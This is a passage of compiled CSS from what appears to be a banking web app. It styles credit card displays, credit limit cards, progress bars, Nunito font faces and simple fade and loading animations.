-webkit-transition: all 0.5s;
-moz-transition: all 0.5s;
-ms-transition: all 0.5s;
-o-transition: all 0.5s;
transition: all 0.5s; }
.main-credit-card-info .main-creditcard.card-small .creditcard__img .show-card-data img {
margin: 6px 4px 6px 8px; }
.main-credit-card-info .main-creditcard.card-small .creditcard__img .show-card-data.hidden {
display: none; }
.main-credit-card-info .main-creditcard.card-small .creditcard__img .show-card-data.show {
-webkit-transform: translateX(500px);
-moz-transform: translateX(500px);
-ms-transform: translateX(500px);
-o-transform: translateX(500px);
transform: translateX(500px);
overflow: hidden; }
.main-credit-card-info .main-creditcard.card-small .creditcard__img .creditcard__data {
-webkit-transition: 0.4s;
-moz-transition: 0.4s;
-ms-transition: 0.4s;
-o-transition: 0.4s;
transition: 0.4s;
font-family: Nunito-Regular;
padding: 70px 0 0 28px;
display: flex;
flex-flow: row; }
.main-credit-card-info .main-creditcard.card-small .creditcard__img .creditcard__data .creditcard__number-client {
display: flex;
flex-flow: column;
flex-basis: 70%;
margin-top: 20px; }
.main-credit-card-info .main-creditcard.card-small .creditcard__img .creditcard__data .creditcard__number-client .creditcard__client-name {
font-size: 20px;
line-height: 28px;
display: flex;
font-family: Nunito-light;
font-weight: 600; }
.main-credit-card-info .main-creditcard.card-small .creditcard__img .creditcard__data .creditcard__number-client .creditcard__number {
font-size: 20px;
line-height: 27px;
font-family: Nunito-light;
font-weight: 600;
margin-top: 0px; }
.main-credit-card-info .main-creditcard.card-small .creditcard__img .creditcard__data .creditcard__number-client .creditcard__name-expire {
-webkit-transition: 0.4s;
-moz-transition: 0.4s;
-ms-transition: 0.4s;
-o-transition: 0.4s;
transition: 0.4s;
display: flex;
justify-content: space-between;
margin-top: 35px;
font-family: Nunito-light;
font-weight: 600; }
.main-credit-card-info .main-creditcard.card-small .creditcard__img .creditcard__data .creditcard__number-client .creditcard__name-expire .creditcard__expire {
display: flex;
flex-flow: column;
font-family: Nunito-light;
font-weight: 100;
font-size: 20px;
margin-top: 1px; }
.main-credit-card-info .main-creditcard.card-small .creditcard__img .creditcard__data .creditcard__row {
display: flex;
flex-direction: row;
font-size: 20px;
line-height: 19px;
justify-content: center;
margin-top: 3px; }
.main-credit-card-info .main-creditcard.card-small .creditcard__img .creditcard__data .creditcard__row .creditcard__ccv {
display: flex;
flex-flow: column;
font-family: Nunito-light;
font-weight: 600;
margin-left: 37px; }
.main-credit-card-info .main-creditcard.card-small .creditcard__img .creditcard__data .creditcard__row .creditcard__ccv span {
font-size: 10px;
line-height: 14px;
margin-left: 0px;
margin-bottom: 7px;
font-weight: 100; }
.main-credit-card-info .main-creditcard.card-small .creditcard__img .creditcard__data--black {
color: #000000; }
.main-credit-card-info .main-creditcard.card-small .creditcard__img .creditcard__data--white {
color: #ffffff; }
.main-credit-card-info .main-creditcard.card-small .creditcard__img .creditcard__data--petroleum {
color: #122e43; }
.main-credit-card-info .main-info {
display: flex;
flex-direction: column;
height: 578px; }
.main-credit-card-info .main-info.desktop-animation {
-webkit-transition: all 0.5s;
-moz-transition: all 0.5s;
-ms-transition: all 0.5s;
-o-transition: all 0.5s;
transition: all 0.5s; }
.main-credit-card-info .main-info.desktop-animation.mini {
-webkit-transform: translateY(840px);
-moz-transform: translateY(840px);
-ms-transform: translateY(840px);
-o-transform: translateY(840px);
transform: translateY(840px); }
.main-credit-card-info .main-info.desktop-animation.rectangle-up {
-webkit-transform: translateY(-30px);
-moz-transform: translateY(-30px);
-ms-transform: translateY(-30px);
-o-transform: translateY(-30px);
transform: translateY(-30px); }
.main-credit-card-info .main-info .main-info__content {
background-color: #ffffff;
border-radius: 6px;
height: 100%; }
@media (max-width: 727px) {
.main-credit-card-info .background-card {
height: 100%;
width: 100%;
opacity: 0;
position: absolute;
z-index: -1;
top: 0;
left: 0;
-webkit-transition: opacity 0.4s;
-moz-transition: opacity 0.4s;
-ms-transition: opacity 0.4s;
-o-transition: opacity 0.4s;
transition: opacity 0.4s; }
.main-credit-card-info .background-card.scale {
opacity: 1; }
.main-credit-card-info .background-card--purple {
background: linear-gradient(180deg, #E4141D 0%, #EE7714 32.29%, #D20881 66.67%, #2B63AD 100%); }
.main-credit-card-info .background-card--mandarin {
background: linear-gradient(90deg, #fd5b00 0%, #fd8300 100%); }
.main-credit-card-info .background-card--sky {
background: linear-gradient(90deg, #1d68d8 0%, #1ee4ff 100%); }
.main-credit-card-info .background-card--emerald {
background: linear-gradient(90deg, #fdf737 0%, #1ab0a7 100%); }
.main-credit-card-info .background-card--ocean {
background: linear-gradient(90deg, #005da0 0%, #2d9cdb 100%); }
.main-credit-card-info.scale {
overflow: hidden;
align-items: center;
display: flex;
flex-direction: column; }
.main-credit-card-info .main-creditcard {
width: 354px;
margin-top: 40px;
-webkit-transition: height 0.4s;
-moz-transition: height 0.4s;
-ms-transition: height 0.4s;
-o-transition: height 0.4s;
transition: height 0.4s;
-webkit-transition: all 0.5s;
-moz-transition: all 0.5s;
-ms-transition: all 0.5s;
-o-transition: all 0.5s;
transition: all 0.5s; }
.main-credit-card-info .main-creditcard.translate {
-webkit-transform: translateY(0px);
-moz-transform: translateY(0px);
-ms-transform: translateY(0px);
-o-transform: translateY(0px);
transform: translateY(0px); }
.main-credit-card-info .main-creditcard.translate-transition {
-webkit-transform: translateY(5px);
-moz-transform: translateY(5px);
-ms-transform: translateY(5px);
-o-transform: translateY(5px);
transform: translateY(5px); }
.main-credit-card-info .main-creditcard .creditcard__img {
-webkit-transition: 0.4s;
-moz-transition: 0.4s;
-ms-transition: 0.4s;
-o-transition: 0.4s;
transition: 0.4s; }
.main-credit-card-info .main-creditcard .creditcard__img .show-card-data {
margin-top: 18px;
margin-left: 188px; }
.main-credit-card-info .main-creditcard.scale {
height: 578px;
-webkit-transition: height 0.4s;
-moz-transition: height 0.4s;
-ms-transition: height 0.4s;
-o-transition: height 0.4s;
transition: height 0.4s; }
.main-credit-card-info .main-creditcard.scale .creditcard__img {
width: 282px; }
.main-credit-card-info .main-creditcard.scale-invert {
width: 354px;
margin-top: 40px;
-webkit-transition: all 0.2s;
-moz-transition: all 0.2s;
-ms-transition: all 0.2s;
-o-transition: all 0.2s;
transition: all 0.2s; }
.main-credit-card-info .main-creditcard.scale-invert.translate {
-webkit-transform: translateY(0px);
-moz-transform: translateY(0px);
-ms-transform: translateY(0px);
-o-transform: translateY(0px);
transform: translateY(0px); }
.main-credit-card-info .main-creditcard.scale-invert.translate-transition {
-webkit-transform: translateY(5px);
-moz-transform: translateY(5px);
-ms-transform: translateY(5px);
-o-transform: translateY(5px);
transform: translateY(5px); }
.main-credit-card-info .main-creditcard.scale-invert.translate-transition-up {
-webkit-transform: translateY(-10px);
-moz-transform: translateY(-10px);
-ms-transform: translateY(-10px);
-o-transform: translateY(-10px);
transform: translateY(-10px); }
.main-credit-card-info .main-creditcard.scale-invert .creditcard__img {
width: 282px;
-webkit-transition: 0.4s;
-moz-transition: 0.4s;
-ms-transition: 0.4s;
-o-transition: 0.4s;
transition: 0.4s; }
.main-credit-card-info .main-creditcard.scale-invert.scale {
height: 578px;
-webkit-transition: height 0.4s;
-moz-transition: height 0.4s;
-ms-transition: height 0.4s;
-o-transition: height 0.4s;
transition: height 0.4s; }
.main-credit-card-info .main-creditcard.scale-invert.scale .creditcard__img {
width: 322px; }
.main-credit-card-info .main-creditcard.scale-invert.scale .creditcard__img .creditcard__data {
visibility: visible; }
.main-credit-card-info .main-creditcard.scale-invert.card-small.scale {
height: 578px;
-webkit-transition: height 0.4s;
-moz-transition: height 0.4s;
-ms-transition: height 0.4s;
-o-transition: height 0.4s;
transition: height 0.4s; }
.main-credit-card-info .main-creditcard.scale-invert.card-small.scale .creditcard__img {
width: 354px; }
.main-credit-card-info .main-creditcard.scale-invert.card-small.scale .creditcard__img .creditcard__data {
visibility: visible;
padding: 65px 0 0 28px; }
.main-credit-card-info .main-creditcard.scale-invert.card-small.scale .creditcard__img .creditcard__data .creditcard__number-client .creditcard__name-expire {
margin-top: 35px; }
.main-credit-card-info .main-creditcard.scale-invert.card-small .creditcard__img {
min-height: 578px;
width: 325px;
-webkit-transition: 0.4s;
-moz-transition: 0.4s;
-ms-transition: 0.4s;
-o-transition: 0.4s;
transition: 0.4s; }
.main-credit-card-info .main-creditcard.scale-invert.card-small .creditcard__img .show-card-data {
margin-top: 18px;
margin-left: 188px; }
.main-credit-card-info .main-creditcard.scale-invert.card-small .creditcard__img .creditcard__data {
-webkit-transition: 0.4s;
-moz-transition: 0.4s;
-ms-transition: 0.4s;
-o-transition: 0.4s;
transition: 0.4s;
padding: 61px 0 0 26px; }
.main-credit-card-info .main-creditcard.scale-invert.card-small .creditcard__img .creditcard__data .creditcard__number-client .creditcard__name-expire {
margin-top: 30px; }
.main-credit-card-info .main-creditcard.scale-invert.card-small .creditcard__img .creditcard__data .creditcard__number-client .creditcard__name-expire .creditcard__client-name {
font-size: 17px; }
.main-credit-card-info .main-creditcard.scale-invert.card-small .creditcard__img .creditcard__data .creditcard__number-client .creditcard__name-expire .creditcard__expire {
font-size: 17px;
margin-top: 3px; }
.main-credit-card-info .main-info {
width: 354px;
max-width: 100%;
height: 480px;
-webkit-transition: all 1s;
-moz-transition: all 1s;
-ms-transition: all 1s;
-o-transition: all 1s;
transition: all 1s; }
.main-credit-card-info .main-info.mini {
-webkit-transform: translateY(240px);
-moz-transform: translateY(240px);
-ms-transform: translateY(240px);
-o-transform: translateY(240px);
transform: translateY(240px); } }
@media (max-width: 356px) {
.main-credit-card-info .main-creditcard.scale-invert.card-small.scale .creditcard__img .creditcard__data {
padding: 70px 0 0 26px; }
.main-credit-card-info .main-creditcard.scale-invert.card-small.scale .creditcard__img .creditcard__data .creditcard__number-client {
margin-top: 10px; }
.main-credit-card-info .main-creditcard.scale-invert.card-small.scale .creditcard__img .creditcard__data .creditcard__number-client .creditcard__number {
font-size: 16px; }
.main-credit-card-info .main-creditcard.scale-invert.card-small.scale .creditcard__img .creditcard__data .creditcard__number-client .creditcard__name-expire {
margin-top: 25px; }
.main-credit-card-info .main-creditcard.scale-invert.card-small.scale .creditcard__img .creditcard__data .creditcard__number-client .creditcard__name-expire .creditcard__client-name {
font-size: 16px; }
.main-credit-card-info .main-creditcard.scale-invert.card-small.scale .creditcard__img .creditcard__data .creditcard__number-client .creditcard__name-expire .creditcard__expire {
font-size: 16px; }
.main-credit-card-info .main-creditcard.scale-invert.card-small.scale .creditcard__img .creditcard__data .creditcard__row {
font-size: 16px; }
.main-credit-card-info .main-creditcard.scale-invert.card-small .creditcard__img .show-card-data {
margin-top: 18px;
margin-left: 150px; }
.main-credit-card-info .main-creditcard.scale-invert.card-small .creditcard__img .creditcard__data {
padding: 70px 0 0 26px; }
.main-credit-card-info .main-creditcard.scale-invert.card-small .creditcard__img .creditcard__data .creditcard__number-client {
margin-top: 10px; }
.main-credit-card-info .main-creditcard.scale-invert.card-small .creditcard__img .creditcard__data .creditcard__number-client .creditcard__number {
font-size: 16px; }
.main-credit-card-info .main-creditcard.scale-invert.card-small .creditcard__img .creditcard__data .creditcard__number-client .creditcard__name-expire {
margin-top: 25px; }
.main-credit-card-info .main-creditcard.scale-invert.card-small .creditcard__img .creditcard__data .creditcard__number-client .creditcard__name-expire .creditcard__client-name {
font-size: 16px; }
.main-credit-card-info .main-creditcard.scale-invert.card-small .creditcard__img .creditcard__data .creditcard__number-client .creditcard__name-expire .creditcard__expire {
font-size: 16px; }
.main-credit-card-info .main-creditcard.scale-invert.card-small .creditcard__img .creditcard__data .creditcard__row {
font-size: 16px;
margin-top: 0px; }
.main-credit-card-info .main-creditcard.scale-invert.card-small .creditcard__img .creditcard__data .creditcard__row span {
margin-bottom: 0px; } }
@media (max-width: 336px) {
.main-credit-card-info .main-creditcard.scale-invert.card-small.scale .creditcard__img .creditcard__data {
padding: 63px 0 0 26px; }
.main-credit-card-info .main-creditcard.scale-invert.card-small.scale .creditcard__img .creditcard__data .creditcard__number-client .creditcard__name-expire {
margin-top: 22px; }
.main-credit-card-info .main-creditcard.scale-invert.card-small.scale .creditcard__img .creditcard__data .creditcard__number-client .creditcard__name-expire .creditcard__client-name {
font-size: 16px; }
.main-credit-card-info .main-creditcard.scale-invert.card-small.scale .creditcard__img .creditcard__data .creditcard__number-client .creditcard__name-expire .creditcard__expire {
font-size: 16px; }
.main-credit-card-info .main-creditcard.scale-invert.card-small .creditcard__img .creditcard__data {
padding: 63px 0 0 26px; }
.main-credit-card-info .main-creditcard.scale-invert.card-small .creditcard__img .creditcard__data .creditcard__number-client .creditcard__name-expire {
margin-top: 22px; }
.main-credit-card-info .main-creditcard.scale-invert.card-small .creditcard__img .creditcard__data .creditcard__number-client .creditcard__name-expire .creditcard__client-name {
font-size: 16px; }
.main-credit-card-info .main-creditcard.scale-invert.card-small .creditcard__img .creditcard__data .creditcard__number-client .creditcard__name-expire .creditcard__expire {
font-size: 16px; } }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.credit-limit-card {
width: 100%;
box-shadow: 0px 0px 1px rgba(40, 41, 61, 0.04), 0px 2px 4px rgba(96, 97, 112, 0.16);
border-radius: 10px;
height: fit-content;
border: 0.5px solid #ffffff;
background: #ffffff;
box-sizing: border-box;
display: flex;
flex-direction: column;
z-index: 20; }
.credit-limit-card .upper-section {
display: flex;
flex-direction: column;
flex-wrap: wrap;
gap: 20px;
margin: 20px 24px 0px 24px; }
.credit-limit-card .upper-section.section--increase {
gap: 0; }
.credit-limit-card .upper-section.section--increase .linear--gradient--button {
margin-bottom: 24px; }
.credit-limit-card .upper-section .creditlimit-container {
display: flex;
justify-content: space-between;
margin-bottom: 12px;
align-items: flex-end; }
.credit-limit-card .upper-section .creditlimit-container .credit-limit {
margin-bottom: 10px; }
.credit-limit-card .upper-section .creditlimit-container .expand-icon {
cursor: pointer;
height: 32px;
width: 32px;
margin-left: 15px; }
.credit-limit-card .upper-section .modal-generic {
background-color: transparent; }
.credit-limit-card .upper-section .modal-generic .modal--content {
width: 100% !important;
height: 100vh;
-webkit-transition-property: transform, transform;
-moz-transition-property: transform, transform;
-ms-transition-property: transform, transform;
-o-transition-property: transform, transform;
transition-property: transform, transform;
-webkit-transition-duration: 0.25s;
-moz-transition-duration: 0.25s;
-ms-transition-duration: 0.25s;
-o-transition-duration: 0.25s;
transition-duration: 0.25s;
-webkit-transition-timing-function: linear;
-moz-transition-timing-function: linear;
-ms-transition-timing-function: linear;
-o-transition-timing-function: linear;
transition-timing-function: linear;
-webkit-transform: scale(0.5);
-moz-transform: scale(0.5);
-ms-transform: scale(0.5);
-o-transform: scale(0.5);
transform: scale(0.5); }
.credit-limit-card .upper-section .modal-generic .modal--content .modal--close-icon {
width: 40px;
height: 40px; }
.credit-limit-card .upper-section .modal--open {
-webkit-transform: scale(1) !important;
-moz-transform: scale(1) !important;
-ms-transform: scale(1) !important;
-o-transform: scale(1) !important;
transform: scale(1) !important;
-webkit-animation: fadeIn ease-in 0.5s;
-moz-animation: fadeIn ease-in 0.5s;
-o-animation: fadeIn ease-in 0.5s;
animation: fadeIn ease-in 0.5s; }
.credit-limit-card .upper-section .modal--close {
-webkit-animation: fadeOut ease-out 0.5s;
-moz-animation: fadeOut ease-out 0.5s;
-o-animation: fadeOut ease-out 0.5s;
animation: fadeOut ease-out 0.5s; }
.credit-limit-card .upper-section .movements-card {
position: inherit; }
.credit-limit-card .upper-section .movements-card .upper-section .creditlimit-container {
flex-direction: column; }
.credit-limit-card .credit-limit-card--lower-section {
min-height: 42px;
display: flex;
justify-content: center;
align-items: center;
border-top: 0.5px solid #DDE7F0; }
.credit-limit-card .progress-bar-container {
height: 8px; }
.credit-limit-card--expand {
position: fixed;
left: 0;
top: 0;
height: 100%;
-webkit-transition-property: transform, all;
-moz-transition-property: transform, all;
-ms-transition-property: transform, all;
-o-transition-property: transform, all;
transition-property: transform, all;
-webkit-transition-duration: 0.25s;
-moz-transition-duration: 0.25s;
-ms-transition-duration: 0.25s;
-o-transition-duration: 0.25s;
transition-duration: 0.25s;
-webkit-transition-timing-function: ease-in;
-moz-transition-timing-function: ease-in;
-ms-transition-timing-function: ease-in;
-o-transition-timing-function: ease-in;
transition-timing-function: ease-in; }
.credit-limit-card--expand .expand-icon {
width: 0px !important;
margin-left: 0px !important;
-webkit-transition-property: transform, all;
-moz-transition-property: transform, all;
-ms-transition-property: transform, all;
-o-transition-property: transform, all;
transition-property: transform, all;
-webkit-transition-duration: 0.25s;
-moz-transition-duration: 0.25s;
-ms-transition-duration: 0.25s;
-o-transition-duration: 0.25s;
transition-duration: 0.25s;
-webkit-transition-timing-function: ease-in;
-moz-transition-timing-function: ease-in;
-ms-transition-timing-function: ease-in;
-o-transition-timing-function: ease-in;
transition-timing-function: ease-in; }
.credit-limit-card--expand .credit-limit-card--lower-section {
opacity: 0; }
.credit-limit-card--contract {
position: relative;
left: 1px;
top: 1px;
-webkit-transition-property: transform, all;
-moz-transition-property: transform, all;
-ms-transition-property: transform, all;
-o-transition-property: transform, all;
transition-property: transform, all;
-webkit-transition-duration: 0.25s;
-moz-transition-duration: 0.25s;
-ms-transition-duration: 0.25s;
-o-transition-duration: 0.25s;
transition-duration: 0.25s;
-webkit-transition-timing-function: ease-out;
-moz-transition-timing-function: ease-out;
-ms-transition-timing-function: ease-out;
-o-transition-timing-function: ease-out;
transition-timing-function: ease-out; }
.credit-limit-card--contract .expand-icon {
height: 32px;
margin-left: 15px;
-webkit-transition-property: transform, all;
-moz-transition-property: transform, all;
-ms-transition-property: transform, all;
-o-transition-property: transform, all;
transition-property: transform, all;
-webkit-transition-duration: 0.25s;
-moz-transition-duration: 0.25s;
-ms-transition-duration: 0.25s;
-o-transition-duration: 0.25s;
transition-duration: 0.25s;
-webkit-transition-timing-function: ease-out;
-moz-transition-timing-function: ease-out;
-ms-transition-timing-function: ease-out;
-o-transition-timing-function: ease-out;
transition-timing-function: ease-out; }
.credit-limit-card--contract .credit-limit-card--lower-section {
opacity: 1; }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.credit-limit {
display: flex;
flex-direction: column;
justify-content: flex-start;
width: 100%; }
.credit-limit .credit-limit-label {
font-family: Nunito-Regular;
font-size: 12px;
color: #416179;
line-height: 16px; }
.credit-limit .credit-limit-amount {
font-family: Nunito-Bold;
font-size: 14px;
color: #122e43;
line-height: 19px;
margin-bottom: 8px; }
.credit-limit .credit-limit-total-amount {
font-family: Nunito-Bold;
font-size: 12px;
color: #416179;
line-height: 16px; }
.credit-limit .credit-limit-container {
display: flex;
justify-content: space-between;
align-items: center; }
.credit-limit .credit-limit-container .available-credit-limit-container {
text-align: end; }
.credit-limit .credit-limit-total-container {
margin-top: 13px;
display: flex;
justify-content: space-between;
align-items: center; }
.credit-limit .credit-limit-total-container .credit-limit-increase {
font-family: NunitoSans-SemiBold;
font-size: 12px;
line-height: 16px;
color: #18a0fb;
cursor: pointer; }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.progress-bar-container {
height: 5px;
width: 100%;
background-color: #d0e1f1;
border-radius: 1px; }
@media (max-width: 720px) {
.progress-bar-container {
height: 8px; } }
.progress-bar-container .filler {
height: 100%;
border-radius: inherit; }
.progress-bar-container .filler--mandarin {
background: linear-gradient(90deg, #fd5b00 0%, #fd8300 100%); }
.progress-bar-container .filler--ocean {
background: linear-gradient(90deg, #005da0 0%, #2d9cdb 100%); }
.progress-bar-container .filler--purple {
background: linear-gradient(90deg, #ce2aaa 0%, #1d68d8 100%); }
.progress-bar-container .filler-sky {
background: linear-gradient(90deg, #1d68d8 0%, #1ee4ff 100%); }
.progress-bar-container .filler--emerald {
background: linear-gradient(90deg, #fdf737 0%, #1ab0a7 100%); }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
